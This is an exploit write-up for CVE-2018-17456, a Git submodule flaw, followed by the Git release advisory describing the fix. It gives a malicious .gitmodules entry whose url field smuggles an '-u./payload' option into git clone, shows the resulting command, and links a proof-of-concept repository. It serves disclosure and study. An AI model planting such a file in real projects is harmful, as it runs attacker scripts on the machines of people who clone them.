CVE-2018-17456

Code md

# CVE-2018-17456

I've gotten a couple of questions about exploitation for the
[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we
go with some technical details.

## TL;DR

[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip

## Exploitation

The `.gitmodules` file looks as follows:

```
[submodule "x:x"]
	path = x:x
	url = -u./payload
```

The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.

The path will end up as the repository URL in the subsequent `clone`
operation:

```
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
```

As the actual URL from `.gitmodules` is interpreted as the `-u`
argument.

The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:

```c
    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        transport_check_allowed("file");
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;
```

Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:

```c
   } else {
		/* Unknown protocol in URL. Pass to external handler. */
		int len = external_specification_len(url);
		char *handler = xmemdupz(url, len);
		transport_helper_init(ret, handler);
	}

	if (ret->smart_options) {
		ret->smart_options->thin = 1;
		ret->smart_options->uploadpack = "git-upload-pack";
		if (remote->uploadpack)
			ret->smart_options->uploadpack = remote->uploadpack;
		ret->smart_options->receivepack = "git-receive-pack";1
		if (remote->receivepack)
			ret->smart_options->receivepack = remote->receivepack;
	}
```

## Further hints

The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).

Code txt

These releases fix a security flaw (CVE-2018-17456), which allowed an
attacker to execute arbitrary code by crafting a malicious .gitmodules
file in a project cloned with --recurse-submodules.

When running "git clone --recurse-submodules", Git parses the supplied
.gitmodules file for a URL field and blindly passes it as an argument
to a "git clone" subprocess.  If the URL field is set to a string that
begins with a dash, this "git clone" subprocess interprets the URL as
an option.  This can lead to executing an arbitrary script shipped in
the superproject as the user who ran "git clone".

In addition to fixing the security issue for the user running "clone",
the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can
be used to detect such malicious repository content when fetching or
accepting a push. See "transfer.fsckObjects" in git-config(1).

Credit for finding and fixing this vulnerability goes to joernchen
and Jeff King, respectively.

P.S. Folks at Microsoft tried to follow the known exploit recipe on
Git for Windows (but not Cygwin or other Git implementations on
Windows) and found that the recipe (or its variants they can think
of) would not make their system vulnerable.  This is due to the fact
that the type of submodule path require by the known exploit recipe
cannot be created on Windows.  Nonetheless, it is possible we have
missed some exploitation path and users are encouraged to upgrade.